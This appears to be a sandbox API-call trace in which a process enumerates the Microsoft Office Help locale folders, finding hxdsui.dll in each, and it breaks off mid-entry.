[0233.655] GetProcessHeap () returned 0xc10000 [0233.656] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1028\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0233.657] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.657] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.657] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.657] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0233.657] GetProcessHeap () returned 0xc10000 [0233.658] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.658] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1 [0233.658] GetProcessHeap () returned 0xc10000 [0233.658] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1031\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0233.660] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1e56af1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.660] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.660] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e56af1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.660] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0233.660] GetProcessHeap () returned 0xc10000 [0233.661] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.661] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0233.661] GetProcessHeap () returned 0xc10000 [0233.661] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1033\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0233.661] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.662] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.662] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0501a67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0501a67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0501a67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.662] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0233.662] GetProcessHeap () returned 0xc10000 [0233.662] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.662] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0233.662] GetProcessHeap () returned 0xc10000 [0233.662] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1036\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0233.663] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.663] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5688, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.663] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5688, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.663] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0233.664] GetProcessHeap () returned 0xc10000 [0233.664] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.664] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0233.664] GetProcessHeap () returned 0xc10000 [0233.664] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1040\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0233.665] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.665] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.665] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.665] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0233.672] GetProcessHeap () returned 0xc10000 [0233.672] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.672] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1041", cAlternateFileName="")) returned 1 [0233.673] GetProcessHeap () returned 0xc10000 [0233.673] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.673] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1041\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0233.674] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.674] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.674] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.674] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0233.674] GetProcessHeap () returned 0xc10000 [0233.674] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.675] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1042", cAlternateFileName="")) returned 1 [0233.675] GetProcessHeap () returned 0xc10000 [0233.675] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1042\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0233.676] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.676] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.676] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.676] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0233.676] GetProcessHeap () returned 0xc10000 [0233.676] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.676] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1 [0233.676] GetProcessHeap () returned 0xc10000 [0233.676] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0233.676] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Help\\1046\\*", lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0233.679] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.679] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ba8090, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0233.679] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b81e2e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b81e2e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ba8090, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0233.680] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0233.680] GetProcessHeap () returned 0xc10000 [0233.680] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0233.680] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1 [0233.680] GetProcessHeap () returned 0xc10000 [0233.680] RtlAllocateHeap 